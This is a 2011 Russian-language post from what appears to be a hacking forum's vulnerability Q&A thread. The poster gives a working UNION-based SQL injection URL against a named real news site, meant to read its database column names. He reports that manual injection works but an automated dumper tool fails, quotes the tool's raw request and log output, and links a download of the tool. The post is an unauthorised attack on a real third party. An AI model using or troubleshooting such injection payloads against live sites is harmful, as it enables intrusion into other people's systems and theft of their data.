Ваши вопросы по уязвимостям.

#11

19.09.2011, 00:12

Samael91

Познающий

Регистрация: 02.12.2010

Сообщений: 38

С нами: 8128406

Репутация: 0

есть скуля

Код:

http://www.feb.spb.ru/news.php?id=100+union+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+1,1111--

хочу сдампить колонки БД с помощью программы rsaUnDumper[sql] 2.0.exe

делаю все как положено

Цитата:

Сообщение от None

GET http://www.feb.spb.ru/news.php?id=100+union+select+1,,3,4,5,6,7+from+inf ormation_schema.columns+limit+,1111-- HTTP/1.0 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 Host: www.*****.ru Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: identity, *;q=0

но ничего не дампиться даже ошибки не выводятся

просто выводится

Цитата:

Сообщение от None

Запросов 10 сохранено 0 ошибок 0

Пробовал запрос без --, пробовал удалять все что ниже --

безрезультатно

А в ручную все идет нормально.

Подскажите что я не так делаю?

Ссылка на дампер http://www.sendspace.com/file/ee74kx